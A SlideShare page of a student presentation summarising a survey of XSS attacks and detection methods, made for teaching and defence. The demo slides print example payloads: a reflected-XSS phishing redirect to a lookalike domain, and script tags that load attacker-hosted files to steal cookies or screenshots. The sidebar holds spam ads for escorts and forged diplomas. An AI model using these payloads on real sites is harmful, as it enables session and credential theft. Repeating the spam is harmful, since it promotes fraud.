SlideShare a Scribd company logo
1 of 29
A Survey of Exploitation
and Detection Methods
of XSS Vulnerabilities
Miao Liu, Boyu Zhang, Wenbin Chen, Xunlai Zhang
IEEE Access, Vol 7
A presentation by Gitam Gadtaula,
Kathmandu University
Outlines
❖ Introduction
❖ Classification of XSS vulnerabilities
❖ Risks caused by exploiting XSS vulnerabilities
❖ Detection method of XSS Vulnerabilities
❖ Conclusion
Introduction
❖ A kind of vulnerabilities that can endanger web applications by injecting malicious code.
❖ The exploitation of XSS vulnerabilities can hijack users’ sessions, modify, read and
delete business data of web applications, place malicious codes in web applications,
and control victims to attack other targeted servers.
❖ Abbreviated as XSS to distinguish CSS.
❖ This paper discusses classification of XSS, and designs a demo website to demonstrate
attack processes of common XSS exploitation scenarios.
❖ Also compares and analyzes recent research results on XSS detection, divides them into
three categories; static, dynamic and hybrid.
❖ XSS can be traced back to the 1990s but Microsoft security engineers introduced the
term "Cross-site scripting" in January 2000.
❖ The Internet security threat report in 2019 shows, phishing attacks and form hijacking
caused by exploiting XSS vulnerabilities bring huge losses to enterprises. Symantec
intercepted more than 3.7 million forms hijacking attacks in 2018.
❖ In 2006, Bantown, a hacker organization, exploited the discovered XSS vulnerabilities to
invade LiveJournal which is an online community with 2 million active users.
❖ The attacker created a large number of URLs containing malicious code and lured users
to click. When victims clicked these URLs, the attacker could get cookies from users and
used these cookies to login the victims’ accounts.
THE CLASSIFICATION OF XSS VULNERABILITIES
According to untrusted user supplied data included in an HTTP response generated by
the server or is somewhere in the DOM of HTML pages, XSS vulnerabilities could be
divided into server-side vulnerabilities and client-side vulnerabilities.
The server-side XSS vulnerability mainly includes reflected XSS and stored XSS. The
client-side vulnerability refers to DOM Based XSS.
DOM based XSS
DOM Based XSS is also known as type-0 XSS. It is caused by unsafe client-side code
rather than server-side code. This sort of vulnerability may occur on pages containing
JavaScript code such as document.write() or eval(). The attacker creates a link with
malicious JS code and sends it to the victim.
When the victim clicks on the link, he will get a response without malicious code. The
malicious code executes at the client side and the attacker can obtain sensitive
information from the victim.
STORED XSS
Stored XSS is also known as type-1 XSS. This kind of vulnerability is likely to occur in
websites such as forums or blogs.
The attacker puts the malicious code in his submissions to websites, and websites store
these submissions in databases directly. When the victim browses these contents, the
XSS attack will be triggered.
Reflected XSS
Reflected XSS is also known as type-2 XSS. The process of reflected XSS attack is similar
with DOM Based XSS, and the difference is that malicious code is included in the
response of websites.
Attackers usually insert malicious scripts into a URL and lure users to click on it. When
the victim clicks on the link, he will get the response with malicious code from the
website.
The attacker will get sensitive data through malicious code execution. Unlike DOM
Based XSS vulnerabilities, reflected XSS is a server-side vulnerability. Malicious code is
parsed at the server-side rather than at the client-side.
RISKS CAUSED BY EXPLOITING XSS
VULNERABILITIES
In this section, authors created a demo website to illustrate how to exploit XSS
vulnerabilities. The demo website is deployed locally and the domain name is
www.phpbegin.local
A. PHISHING ATTACK
Authors created a malicious website (http://www. phpbegim.local) with the same login
display effect with our demonstrated website (http://www.phpbegin.local). It’s worth
noting that URLs are the same except for one letter.
Then they forged a malicious link
(http://www.phpbegin.local/login.php?userName=<script>window.location.href=’’www.
phpbegim.local/login.php’’;</script>&password=&submit=), sent it to a user via email and
lured the user to click on it.
When the user clicked the malicious link, the user entered his username and password and
clicked the login button.
Authors used the code to redirect the user to the normal website, and stored his username
and password in the database. The user logged in the website normally without being aware
that his username and password had been stolen.
B. Steal cookies
The attacker stores a file cookis.js including some malicious code in the directory /myjs of
the malicious website and then posts some submission including <script
src="http://www.phpbegim.local/myjs/cookis.js"></script> to the demonstrated website.
When users access the pages containing the above submission, the demonstrated website
will send responses to users. The malicious code will be executed and the attacker will
receive users’ cookies.
In the end, the attacker can use some penetration test tool to replace his cookie value with
the stolen cookie value, and then he can login in the demonstrated website by counterfeiting
users.
C. DOS attack
The attacker stores a file dos.js in the directory /myjs of the malicious website, and then
posts some submission including <script
src="http://www.phpbegim.local/myjs/dos.js"></script> to the demonstrated
website.
The dos.js code will insert large invalid data to cookies. When users access the pages
containing the attacker’s submission, the malicious code is executed, and a lot of invalid
data is injected into users’ cookies.
When users browse the demonstrated website again, they will get 400 errors, because
the website cannot parse cookies which have a large amount invalid data.
D. DDOS Attack
In 2014, Incapsula, the Japan’s cloud security service provider, reported a Stored XSS in one
of the world’s largest video websites.
The attacker inserted malicious JavaScript code into <img> tag of a user’s custom avatar and
published a lot of comments on many videos with the custom avatar. When legitimate users
browsed these videos, the malicious code was executed and added a hidden <iframe> tag
with a tool based Ajax script that can send a request to the targeted server per second.
The more users watched these videos, the more requests were sent to the targeted server,
which in turn caused the targeted server to exhaust all resources and not respond to normal
user requests any more.
E. Stealing Browsers screenshot
The attacker stores a file shot.js in the directory /myjs of the malicious website, and
then posts some submission including <script
src="http://www.phpbegim.local/myjs/shot.js"> </script> to the demonstrated
website.
The shot.js code will copy and send victim’s screenshots to the malicious website.
When users access the pages containing the attacker’s submission, the script takes a
screenshot of the browser, sends it back to the malicious website.
The attacker can then decode the received data to view the image.
F. XSS Worms
XSS Worm is a malicious (or sometimes non-malicious) payload, that breaches browser
security to propagate among visitors of a website in the attempt to progressively infect
other visitor.
In 2011, Sina Weibo, a similar website with Twitter in China, received an attack from a
XSS worm. Once the user was attacked by the worm, the user would automatically send
some microblogs to their fans to entice them to click. Once fans clicked on this Weibo
to view the details, they would be infected and repeated the above steps, which would
cause the worm to spread quickly.
Detection method of XSS Vulnerabilities
❖ Different detection methods have different analysis mechanisms
➢ Static analysis
➢ Dynamic analysis
➢ Hybrid analysis
Hybrid Analysis
Hybrid analysis methods have the advantages of static analysis and dynamic analysis.
They can not only detect all paths in the source code, but also get low false positive
rate.
In hybrid analysis, static analysis are used to find potential vulnerabilities in applications
and improve the detection speed. Dynamic analysis are mainly used to verify XSS
vulnerabilities.
However, hybrid analysis methods also inherit the shortcomings of static analysis. Some
of the hybrid analysis methods can only be applied to a single language, which makes
them not very popular.
Conclusion
❖ XSS vulnerabilities are mainly caused by not properly filtering users’ inputs, such as the
wrong order in which the encoding function is applied
❖ Although there are many methods to detect XSS vulnerabilities, it is still a very difficult
task to detect all XSS vulnerabilities in one web application. This is mainly because the
size of web applications is becoming larger, and the calling logic among modules is also
becoming more complicated.
❖ The methods discussed in this paper have their own advantages and disadvantages, and
so far there has not been a perfect method.
❖ Therefore, if a web application needs to prevent XSS vulnerability attack perfectly,
multiple methods must be used comprehensively.

More Related Content

Similar to A Survey of Exploitation and Detection Methods of XSS Vulnerabilities.pptx

HallTumserFinalPaper
HallTumserFinalPaperHallTumserFinalPaper
HallTumserFinalPaperDaniel Tumser
 
IRJET- A Survey on Various Cross-Site Scripting Attacks and Few Prevention Ap...
IRJET- A Survey on Various Cross-Site Scripting Attacks and Few Prevention Ap...IRJET- A Survey on Various Cross-Site Scripting Attacks and Few Prevention Ap...
IRJET- A Survey on Various Cross-Site Scripting Attacks and Few Prevention Ap...IRJET Journal
 
Reflective and Stored XSS- Cross Site Scripting
Reflective and Stored XSS- Cross Site ScriptingReflective and Stored XSS- Cross Site Scripting
Reflective and Stored XSS- Cross Site ScriptingInMobi Technology
 
Web Vulnerabilities And Exploitation - Compromising The Web
Web Vulnerabilities And Exploitation - Compromising The WebWeb Vulnerabilities And Exploitation - Compromising The Web
Web Vulnerabilities And Exploitation - Compromising The WebZero Science Lab
 
ImageSubXSS: an image substitute technique to prevent Cross-Site Scripting at...
ImageSubXSS: an image substitute technique to prevent Cross-Site Scripting at...ImageSubXSS: an image substitute technique to prevent Cross-Site Scripting at...
ImageSubXSS: an image substitute technique to prevent Cross-Site Scripting at...IJECEIAES
 
Secure Code Warrior - Cross site scripting
Secure Code Warrior - Cross site scriptingSecure Code Warrior - Cross site scripting
Secure Code Warrior - Cross site scriptingSecure Code Warrior
 
Deep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL InjectionDeep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL InjectionVishal Kumar
 
CROSS SITE SCRIPTING.ppt
CROSS SITE SCRIPTING.pptCROSS SITE SCRIPTING.ppt
CROSS SITE SCRIPTING.pptyashvirsingh48
 
Prevention of Cross-Site Scripting using Hash Technique
Prevention of Cross-Site Scripting using Hash TechniquePrevention of Cross-Site Scripting using Hash Technique
Prevention of Cross-Site Scripting using Hash TechniqueIJCSIS Research Publications
 
Web Application Security
Web Application SecurityWeb Application Security
Web Application SecurityChris Hillman
 
STORED XSS IN DVWA
STORED XSS IN DVWASTORED XSS IN DVWA
STORED XSS IN DVWARutvik patel
 
Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)Amit Tyagi
 
Website hacking and prevention (All Tools,Topics & Technique )
Website hacking and prevention (All Tools,Topics & Technique )Website hacking and prevention (All Tools,Topics & Technique )
Website hacking and prevention (All Tools,Topics & Technique )Jay Nagar
 

Similar to A Survey of Exploitation and Detection Methods of XSS Vulnerabilities.pptx (20)

HallTumserFinalPaper
HallTumserFinalPaperHallTumserFinalPaper
HallTumserFinalPaper
 
Xss attack
Xss attackXss attack
Xss attack
 
IRJET- A Survey on Various Cross-Site Scripting Attacks and Few Prevention Ap...
IRJET- A Survey on Various Cross-Site Scripting Attacks and Few Prevention Ap...IRJET- A Survey on Various Cross-Site Scripting Attacks and Few Prevention Ap...
IRJET- A Survey on Various Cross-Site Scripting Attacks and Few Prevention Ap...
 
Reflective and Stored XSS- Cross Site Scripting
Reflective and Stored XSS- Cross Site ScriptingReflective and Stored XSS- Cross Site Scripting
Reflective and Stored XSS- Cross Site Scripting
 
Web Vulnerabilities And Exploitation - Compromising The Web
Web Vulnerabilities And Exploitation - Compromising The WebWeb Vulnerabilities And Exploitation - Compromising The Web
Web Vulnerabilities And Exploitation - Compromising The Web
 
ImageSubXSS: an image substitute technique to prevent Cross-Site Scripting at...
ImageSubXSS: an image substitute technique to prevent Cross-Site Scripting at...ImageSubXSS: an image substitute technique to prevent Cross-Site Scripting at...
ImageSubXSS: an image substitute technique to prevent Cross-Site Scripting at...
 
SeanRobertsThesis
SeanRobertsThesisSeanRobertsThesis
SeanRobertsThesis
 
Session7-XSS & CSRF
Session7-XSS & CSRFSession7-XSS & CSRF
Session7-XSS & CSRF
 
Secure Code Warrior - Cross site scripting
Secure Code Warrior - Cross site scriptingSecure Code Warrior - Cross site scripting
Secure Code Warrior - Cross site scripting
 
Deep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL InjectionDeep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL Injection
 
CROSS SITE SCRIPTING.ppt
CROSS SITE SCRIPTING.pptCROSS SITE SCRIPTING.ppt
CROSS SITE SCRIPTING.ppt
 
Prevention of Cross-Site Scripting using Hash Technique
Prevention of Cross-Site Scripting using Hash TechniquePrevention of Cross-Site Scripting using Hash Technique
Prevention of Cross-Site Scripting using Hash Technique
 
Cross site scripting
Cross site scriptingCross site scripting
Cross site scripting
 
Web Application Security
Web Application SecurityWeb Application Security
Web Application Security
 
STORED XSS IN DVWA
STORED XSS IN DVWASTORED XSS IN DVWA
STORED XSS IN DVWA
 
Cross site scripting
Cross site scripting Cross site scripting
Cross site scripting
 
Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)
 
Xss frame work
Xss frame workXss frame work
Xss frame work
 
Website hacking and prevention (All Tools,Topics & Technique )
Website hacking and prevention (All Tools,Topics & Technique )Website hacking and prevention (All Tools,Topics & Technique )
Website hacking and prevention (All Tools,Topics & Technique )
 
T04505103106
T04505103106T04505103106
T04505103106
 

Recently uploaded

办理多伦多大学毕业证成绩单|购买加拿大UTSG文凭证书
办理多伦多大学毕业证成绩单|购买加拿大UTSG文凭证书办理多伦多大学毕业证成绩单|购买加拿大UTSG文凭证书
办理多伦多大学毕业证成绩单|购买加拿大UTSG文凭证书zdzoqco
 
定制(Management毕业证书)新加坡管理大学毕业证成绩单原版一比一
定制(Management毕业证书)新加坡管理大学毕业证成绩单原版一比一定制(Management毕业证书)新加坡管理大学毕业证成绩单原版一比一
定制(Management毕业证书)新加坡管理大学毕业证成绩单原版一比一Fs
 
定制(AUT毕业证书)新西兰奥克兰理工大学毕业证成绩单原版一比一
定制(AUT毕业证书)新西兰奥克兰理工大学毕业证成绩单原版一比一定制(AUT毕业证书)新西兰奥克兰理工大学毕业证成绩单原版一比一
定制(AUT毕业证书)新西兰奥克兰理工大学毕业证成绩单原版一比一Fs
 
Call Girls in Uttam Nagar Delhi 💯Call Us 🔝8264348440🔝
Call Girls in Uttam Nagar Delhi 💯Call Us 🔝8264348440🔝Call Girls in Uttam Nagar Delhi 💯Call Us 🔝8264348440🔝
Call Girls in Uttam Nagar Delhi 💯Call Us 🔝8264348440🔝soniya singh
 
VIP Kolkata Call Girl Salt Lake 👉 8250192130 Available With Room
VIP Kolkata Call Girl Salt Lake 👉 8250192130  Available With RoomVIP Kolkata Call Girl Salt Lake 👉 8250192130  Available With Room
VIP Kolkata Call Girl Salt Lake 👉 8250192130 Available With Roomishabajaj13
 
Font Performance - NYC WebPerf Meetup April '24
Font Performance - NYC WebPerf Meetup April '24Font Performance - NYC WebPerf Meetup April '24
Font Performance - NYC WebPerf Meetup April '24Paul Calvano
 
办理(UofR毕业证书)罗切斯特大学毕业证成绩单原版一比一
办理(UofR毕业证书)罗切斯特大学毕业证成绩单原版一比一办理(UofR毕业证书)罗切斯特大学毕业证成绩单原版一比一
办理(UofR毕业证书)罗切斯特大学毕业证成绩单原版一比一z xss
 
Chennai Call Girls Alwarpet Phone 🍆 8250192130 👅 celebrity escorts service
Chennai Call Girls Alwarpet Phone 🍆 8250192130 👅 celebrity escorts serviceChennai Call Girls Alwarpet Phone 🍆 8250192130 👅 celebrity escorts service
Chennai Call Girls Alwarpet Phone 🍆 8250192130 👅 celebrity escorts servicevipmodelshub1
 
Call Girls Near The Suryaa Hotel New Delhi 9873777170
Call Girls Near The Suryaa Hotel New Delhi 9873777170Call Girls Near The Suryaa Hotel New Delhi 9873777170
Call Girls Near The Suryaa Hotel New Delhi 9873777170Sonam Pathan
 
定制(UAL学位证)英国伦敦艺术大学毕业证成绩单原版一比一
定制(UAL学位证)英国伦敦艺术大学毕业证成绩单原版一比一定制(UAL学位证)英国伦敦艺术大学毕业证成绩单原版一比一
定制(UAL学位证)英国伦敦艺术大学毕业证成绩单原版一比一Fs
 
Packaging the Monolith - PHP Tek 2024 (Breaking it down one bite at a time)
Packaging the Monolith - PHP Tek 2024 (Breaking it down one bite at a time)Packaging the Monolith - PHP Tek 2024 (Breaking it down one bite at a time)
Packaging the Monolith - PHP Tek 2024 (Breaking it down one bite at a time)Dana Luther
 
Call Girls Service Adil Nagar 7001305949 Need escorts Service Pooja Vip
Call Girls Service Adil Nagar 7001305949 Need escorts Service Pooja VipCall Girls Service Adil Nagar 7001305949 Need escorts Service Pooja Vip
Call Girls Service Adil Nagar 7001305949 Need escorts Service Pooja VipCall Girls Lucknow
 
定制(CC毕业证书)美国美国社区大学毕业证成绩单原版一比一
定制(CC毕业证书)美国美国社区大学毕业证成绩单原版一比一定制(CC毕业证书)美国美国社区大学毕业证成绩单原版一比一
定制(CC毕业证书)美国美国社区大学毕业证成绩单原版一比一3sw2qly1
 
VIP Kolkata Call Girl Alambazar 👉 8250192130 Available With Room
VIP Kolkata Call Girl Alambazar 👉 8250192130  Available With RoomVIP Kolkata Call Girl Alambazar 👉 8250192130  Available With Room
VIP Kolkata Call Girl Alambazar 👉 8250192130 Available With Roomdivyansh0kumar0
 
Magic exist by Marta Loveguard - presentation.pptx
Magic exist by Marta Loveguard - presentation.pptxMagic exist by Marta Loveguard - presentation.pptx
Magic exist by Marta Loveguard - presentation.pptxMartaLoveguard
 
定制(Lincoln毕业证书)新西兰林肯大学毕业证成绩单原版一比一
定制(Lincoln毕业证书)新西兰林肯大学毕业证成绩单原版一比一定制(Lincoln毕业证书)新西兰林肯大学毕业证成绩单原版一比一
定制(Lincoln毕业证书)新西兰林肯大学毕业证成绩单原版一比一Fs
 
Blepharitis inflammation of eyelid symptoms cause everything included along w...
Blepharitis inflammation of eyelid symptoms cause everything included along w...Blepharitis inflammation of eyelid symptoms cause everything included along w...
Blepharitis inflammation of eyelid symptoms cause everything included along w...Excelmac1
 
Git and Github workshop GDSC MLRITM
Git and Github  workshop GDSC MLRITMGit and Github  workshop GDSC MLRITM
Git and Github workshop GDSC MLRITMgdsc13
 

Recently uploaded (20)

办理多伦多大学毕业证成绩单|购买加拿大UTSG文凭证书
办理多伦多大学毕业证成绩单|购买加拿大UTSG文凭证书办理多伦多大学毕业证成绩单|购买加拿大UTSG文凭证书
办理多伦多大学毕业证成绩单|购买加拿大UTSG文凭证书
 
定制(Management毕业证书)新加坡管理大学毕业证成绩单原版一比一
定制(Management毕业证书)新加坡管理大学毕业证成绩单原版一比一定制(Management毕业证书)新加坡管理大学毕业证成绩单原版一比一
定制(Management毕业证书)新加坡管理大学毕业证成绩单原版一比一
 
定制(AUT毕业证书)新西兰奥克兰理工大学毕业证成绩单原版一比一
定制(AUT毕业证书)新西兰奥克兰理工大学毕业证成绩单原版一比一定制(AUT毕业证书)新西兰奥克兰理工大学毕业证成绩单原版一比一
定制(AUT毕业证书)新西兰奥克兰理工大学毕业证成绩单原版一比一
 
Call Girls in Uttam Nagar Delhi 💯Call Us 🔝8264348440🔝
Call Girls in Uttam Nagar Delhi 💯Call Us 🔝8264348440🔝Call Girls in Uttam Nagar Delhi 💯Call Us 🔝8264348440🔝
Call Girls in Uttam Nagar Delhi 💯Call Us 🔝8264348440🔝
 
VIP Kolkata Call Girl Salt Lake 👉 8250192130 Available With Room
VIP Kolkata Call Girl Salt Lake 👉 8250192130  Available With RoomVIP Kolkata Call Girl Salt Lake 👉 8250192130  Available With Room
VIP Kolkata Call Girl Salt Lake 👉 8250192130 Available With Room
 
Font Performance - NYC WebPerf Meetup April '24
Font Performance - NYC WebPerf Meetup April '24Font Performance - NYC WebPerf Meetup April '24
Font Performance - NYC WebPerf Meetup April '24
 
办理(UofR毕业证书)罗切斯特大学毕业证成绩单原版一比一
办理(UofR毕业证书)罗切斯特大学毕业证成绩单原版一比一办理(UofR毕业证书)罗切斯特大学毕业证成绩单原版一比一
办理(UofR毕业证书)罗切斯特大学毕业证成绩单原版一比一
 
Chennai Call Girls Alwarpet Phone 🍆 8250192130 👅 celebrity escorts service
Chennai Call Girls Alwarpet Phone 🍆 8250192130 👅 celebrity escorts serviceChennai Call Girls Alwarpet Phone 🍆 8250192130 👅 celebrity escorts service
Chennai Call Girls Alwarpet Phone 🍆 8250192130 👅 celebrity escorts service
 
Call Girls Near The Suryaa Hotel New Delhi 9873777170
Call Girls Near The Suryaa Hotel New Delhi 9873777170Call Girls Near The Suryaa Hotel New Delhi 9873777170
Call Girls Near The Suryaa Hotel New Delhi 9873777170
 
Model Call Girl in Jamuna Vihar Delhi reach out to us at 🔝9953056974🔝
Model Call Girl in  Jamuna Vihar Delhi reach out to us at 🔝9953056974🔝Model Call Girl in  Jamuna Vihar Delhi reach out to us at 🔝9953056974🔝
Model Call Girl in Jamuna Vihar Delhi reach out to us at 🔝9953056974🔝
 
定制(UAL学位证)英国伦敦艺术大学毕业证成绩单原版一比一
定制(UAL学位证)英国伦敦艺术大学毕业证成绩单原版一比一定制(UAL学位证)英国伦敦艺术大学毕业证成绩单原版一比一
定制(UAL学位证)英国伦敦艺术大学毕业证成绩单原版一比一
 
Packaging the Monolith - PHP Tek 2024 (Breaking it down one bite at a time)
Packaging the Monolith - PHP Tek 2024 (Breaking it down one bite at a time)Packaging the Monolith - PHP Tek 2024 (Breaking it down one bite at a time)
Packaging the Monolith - PHP Tek 2024 (Breaking it down one bite at a time)
 
Call Girls Service Adil Nagar 7001305949 Need escorts Service Pooja Vip
Call Girls Service Adil Nagar 7001305949 Need escorts Service Pooja VipCall Girls Service Adil Nagar 7001305949 Need escorts Service Pooja Vip
Call Girls Service Adil Nagar 7001305949 Need escorts Service Pooja Vip
 
定制(CC毕业证书)美国美国社区大学毕业证成绩单原版一比一
定制(CC毕业证书)美国美国社区大学毕业证成绩单原版一比一定制(CC毕业证书)美国美国社区大学毕业证成绩单原版一比一
定制(CC毕业证书)美国美国社区大学毕业证成绩单原版一比一
 
VIP Kolkata Call Girl Alambazar 👉 8250192130 Available With Room
VIP Kolkata Call Girl Alambazar 👉 8250192130  Available With RoomVIP Kolkata Call Girl Alambazar 👉 8250192130  Available With Room
VIP Kolkata Call Girl Alambazar 👉 8250192130 Available With Room
 
young call girls in Uttam Nagar🔝 9953056974 🔝 Delhi escort Service
young call girls in Uttam Nagar🔝 9953056974 🔝 Delhi escort Serviceyoung call girls in Uttam Nagar🔝 9953056974 🔝 Delhi escort Service
young call girls in Uttam Nagar🔝 9953056974 🔝 Delhi escort Service
 
Magic exist by Marta Loveguard - presentation.pptx
Magic exist by Marta Loveguard - presentation.pptxMagic exist by Marta Loveguard - presentation.pptx
Magic exist by Marta Loveguard - presentation.pptx
 
定制(Lincoln毕业证书)新西兰林肯大学毕业证成绩单原版一比一
定制(Lincoln毕业证书)新西兰林肯大学毕业证成绩单原版一比一定制(Lincoln毕业证书)新西兰林肯大学毕业证成绩单原版一比一
定制(Lincoln毕业证书)新西兰林肯大学毕业证成绩单原版一比一
 
Blepharitis inflammation of eyelid symptoms cause everything included along w...
Blepharitis inflammation of eyelid symptoms cause everything included along w...Blepharitis inflammation of eyelid symptoms cause everything included along w...
Blepharitis inflammation of eyelid symptoms cause everything included along w...
 
Git and Github workshop GDSC MLRITM
Git and Github  workshop GDSC MLRITMGit and Github  workshop GDSC MLRITM
Git and Github workshop GDSC MLRITM
 

A Survey of Exploitation and Detection Methods of XSS Vulnerabilities.pptx

  • 1. A Survey of Exploitation and Detection Methods of XSS Vulnerabilities Miao Liu, Boyu Zhang, Wenbin Chen, Xunlai Zhang IEEE Access, Vol 7 A presentation by Gitam Gadtaula, Kathmandu University
  • 2. Outlines ❖ Introduction ❖ Classification of XSS vulnerabilities ❖ Risks caused by exploiting XSS vulnerabilities ❖ Detection method of XSS Vulnerabilities ❖ Conclusion
  • 3. Introduction ❖ A kind of vulnerabilities that can endanger web applications by injecting malicious code. ❖ The exploitation of XSS vulnerabilities can hijack users’ sessions, modify, read and delete business data of web applications, place malicious codes in web applications, and control victims to attack other targeted servers. ❖ Abbreviated as XSS to distinguish CSS. ❖ This paper discusses classification of XSS, and designs a demo website to demonstrate attack processes of common XSS exploitation scenarios. ❖ Also compares and analyzes recent research results on XSS detection, divides them into three categories; static, dynamic and hybrid.
  • 4. ❖ XSS can be traced back to the 1990s but Microsoft security engineers introduced the term "Cross-site scripting" in January 2000. ❖ The Internet security threat report in 2019 shows, phishing attacks and form hijacking caused by exploiting XSS vulnerabilities bring huge losses to enterprises. Symantec intercepted more than 3.7 million forms hijacking attacks in 2018. ❖ In 2006, Bantown, a hacker organization, exploited the discovered XSS vulnerabilities to invade LiveJournal which is an online community with 2 million active users. ❖ The attacker created a large number of URLs containing malicious code and lured users to click. When victims clicked these URLs, the attacker could get cookies from users and used these cookies to login the victims’ accounts.
  • 5. THE CLASSIFICATION OF XSS VULNERABILITIES According to untrusted user supplied data included in an HTTP response generated by the server or is somewhere in the DOM of HTML pages, XSS vulnerabilities could be divided into server-side vulnerabilities and client-side vulnerabilities. The server-side XSS vulnerability mainly includes reflected XSS and stored XSS. The client-side vulnerability refers to DOM Based XSS.
  • 6. DOM based XSS DOM Based XSS is also known as type-0 XSS. It is caused by unsafe client-side code rather than server-side code. This sort of vulnerability may occur on pages containing JavaScript code such as document.write() or eval(). The attacker creates a link with malicious JS code and sends it to the victim. When the victim clicks on the link, he will get a response without malicious code. The malicious code executes at the client side and the attacker can obtain sensitive information from the victim.
  • 7.
  • 8. STORED XSS Stored XSS is also known as type-1 XSS. This kind of vulnerability is likely to occur in websites such as forums or blogs. The attacker puts the malicious code in his submissions to websites, and websites store these submissions in databases directly. When the victim browses these contents, the XSS attack will be triggered.
  • 9.
  • 10. Reflected XSS Reflected XSS is also known as type-2 XSS. The process of reflected XSS attack is similar with DOM Based XSS, and the difference is that malicious code is included in the response of websites. Attackers usually insert malicious scripts into a URL and lure users to click on it. When the victim clicks on the link, he will get the response with malicious code from the website. The attacker will get sensitive data through malicious code execution. Unlike DOM Based XSS vulnerabilities, reflected XSS is a server-side vulnerability. Malicious code is parsed at the server-side rather than at the client-side.
  • 11.
  • 12. RISKS CAUSED BY EXPLOITING XSS VULNERABILITIES In this section, authors created a demo website to illustrate how to exploit XSS vulnerabilities. The demo website is deployed locally and the domain name is www.phpbegin.local
  • 13. A. PHISHING ATTACK Authors created a malicious website (http://www. phpbegim.local) with the same login display effect with our demonstrated website (http://www.phpbegin.local). It’s worth noting that URLs are the same except for one letter. Then they forged a malicious link (http://www.phpbegin.local/login.php?userName=<script>window.location.href=’’www. phpbegim.local/login.php’’;</script>&password=&submit=), sent it to a user via email and lured the user to click on it. When the user clicked the malicious link, the user entered his username and password and clicked the login button. Authors used the code to redirect the user to the normal website, and stored his username and password in the database. The user logged in the website normally without being aware that his username and password had been stolen.
  • 14.
  • 15. B. Steal cookies The attacker stores a file cookis.js including some malicious code in the directory /myjs of the malicious website and then posts some submission including <script src="http://www.phpbegim.local/myjs/cookis.js"></script> to the demonstrated website. When users access the pages containing the above submission, the demonstrated website will send responses to users. The malicious code will be executed and the attacker will receive users’ cookies. In the end, the attacker can use some penetration test tool to replace his cookie value with the stolen cookie value, and then he can login in the demonstrated website by counterfeiting users.
  • 16.
  • 17. C. DOS attack The attacker stores a file dos.js in the directory /myjs of the malicious website, and then posts some submission including <script src="http://www.phpbegim.local/myjs/dos.js"></script> to the demonstrated website. The dos.js code will insert large invalid data to cookies. When users access the pages containing the attacker’s submission, the malicious code is executed, and a lot of invalid data is injected into users’ cookies. When users browse the demonstrated website again, they will get 400 errors, because the website cannot parse cookies which have a large amount invalid data.
  • 18.
  • 19. D. DDOS Attack In 2014, Incapsula, the Japan’s cloud security service provider, reported a Stored XSS in one of the world’s largest video websites. The attacker inserted malicious JavaScript code into <img> tag of a user’s custom avatar and published a lot of comments on many videos with the custom avatar. When legitimate users browsed these videos, the malicious code was executed and added a hidden <iframe> tag with a tool based Ajax script that can send a request to the targeted server per second. The more users watched these videos, the more requests were sent to the targeted server, which in turn caused the targeted server to exhaust all resources and not respond to normal user requests any more.
  • 20.
  • 21. E. Stealing Browsers screenshot The attacker stores a file shot.js in the directory /myjs of the malicious website, and then posts some submission including <script src="http://www.phpbegim.local/myjs/shot.js"> </script> to the demonstrated website. The shot.js code will copy and send victim’s screenshots to the malicious website. When users access the pages containing the attacker’s submission, the script takes a screenshot of the browser, sends it back to the malicious website. The attacker can then decode the received data to view the image.
  • 22.
  • 23. F. XSS Worms XSS Worm is a malicious (or sometimes non-malicious) payload, that breaches browser security to propagate among visitors of a website in the attempt to progressively infect other visitor. In 2011, Sina Weibo, a similar website with Twitter in China, received an attack from a XSS worm. Once the user was attacked by the worm, the user would automatically send some microblogs to their fans to entice them to click. Once fans clicked on this Weibo to view the details, they would be infected and repeated the above steps, which would cause the worm to spread quickly.
  • 24.
  • 25. Detection method of XSS Vulnerabilities ❖ Different detection methods have different analysis mechanisms ➢ Static analysis ➢ Dynamic analysis ➢ Hybrid analysis
  • 26.
  • 27.
  • 28. Hybrid Analysis Hybrid analysis methods have the advantages of static analysis and dynamic analysis. They can not only detect all paths in the source code, but also get low false positive rate. In hybrid analysis, static analysis are used to find potential vulnerabilities in applications and improve the detection speed. Dynamic analysis are mainly used to verify XSS vulnerabilities. However, hybrid analysis methods also inherit the shortcomings of static analysis. Some of the hybrid analysis methods can only be applied to a single language, which makes them not very popular.
  • 29. Conclusion ❖ XSS vulnerabilities are mainly caused by not properly filtering users’ inputs, such as the wrong order in which the encoding function is applied ❖ Although there are many methods to detect XSS vulnerabilities, it is still a very difficult task to detect all XSS vulnerabilities in one web application. This is mainly because the size of web applications is becoming larger, and the calling logic among modules is also becoming more complicated. ❖ The methods discussed in this paper have their own advantages and disadvantages, and so far there has not been a perfect method. ❖ Therefore, if a web application needs to prevent XSS vulnerability attack perfectly, multiple methods must be used comprehensively.

Editor's Notes

  1. Based on the difference of their working mechanisms